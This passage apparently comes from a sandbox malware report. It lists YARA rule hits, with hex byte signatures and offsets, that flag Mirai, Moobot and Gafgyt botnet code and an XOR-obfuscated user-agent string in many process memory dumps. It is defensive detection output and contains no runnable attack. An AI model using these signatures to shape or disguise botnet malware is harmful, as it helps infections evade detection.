2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6714.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6928.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6928.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6928.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6928.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6928.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6928.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6265.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6265.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6265.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6265.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6265.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6265.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6400.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7290.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6528.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6337.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6762.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6459.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6459.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6459.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6459.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6337.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6337.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6591.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6591.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6591.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6591.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6591.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6591.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7192.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6794.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6794.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6794.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6794.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6794.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 